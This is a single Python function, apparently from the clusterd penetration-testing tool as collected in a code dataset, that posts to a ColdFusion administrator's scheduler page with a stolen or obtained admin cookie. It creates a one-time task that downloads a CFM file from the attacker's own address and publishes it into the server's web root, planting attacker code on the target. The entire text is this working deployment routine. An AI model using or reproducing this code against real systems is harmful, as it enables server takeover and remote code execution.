def create_task(ip, fingerprint, cfm_file, root, cookie):
	""" Generate a new task; all parameters are necessary, unfortunately
	"""

	base = "http://{0}:{1}".format(ip, fingerprint.port)
	uri = '/CFIDE/administrator/scheduler/scheduleedit.cfm'

	if fingerprint.version in ['5.0']:
		data = {
			"taskNameOrig" : "",
			"TaskName" : cfm_file,
			"StartDate" : "01/01/2020",
			"EndDate" : "",
			"ScheduleType" : "Once",
			"StartTimeOnce" : "13:24:05",
			"Interval" : "Daily",
			"StartTimeDWM" : "",
			"customInterval" : "0",
			"CustomStartTime" : "",
			"CustomEndTime" : "",
			"Operation" : "HTTPRequest",
			"Port" : state.external_port,
			"ScheduledURL" : "http://{0}/{1}".format(utility.local_address(), cfm_file),
			"Username" : "",
			"Password" : "",
			"RequestTimeout" : "10",
			"ProxyServer" : "",
			"HttpProxyPort" : "23",
			"Publish" : "1",
			"filePath" : root,
			"File" : cfm_file.replace('cfml', 'cfm'),
			"adminsubmit" : "Submit+Changes"
		}

	else:
		data = {
			"TaskName" : cfm_file,
			"Start_Date" : "Jan 2, 2020",
			"End_Date" : "",
			"ScheduleType" : "Once",
			"StartTimeOnce" : "13:24:50",
			"Interval" : "Daily",
			"StartTimeDWM" : "",
			"customInterval_hour" : "0",
			"customInterval_min" : "0",
			"customInterval_sec" : "0",
			"CustomStartTime" : "",
			"CustomEndTime" : "",
			"Operation" : "HTTPRequest",
			"ScheduledURL" : "http://{0}:{1}/{2}".format(utility.local_address(), 
											state.external_port, cfm_file),
			"Username" : "",
			"Password" : "",
			"Request_Time_out" : "",
			"proxy_server" : "",
			"http_proxy_port" : "",
			"publish" : "1",
			"publish_file" : root + "\\" + cfm_file,
			"adminsubmit" : "Submit",
			"taskNameOrig" : ""

		}

	response = utility.requests_post(base+uri, data=data, cookies=cookie)
	if response.status_code is 200:

		return True
dataset/ETHPy150Open hatRiot/clusterd/src/platform/coldfusion/deployers/schedule_job_old.py/create_task/original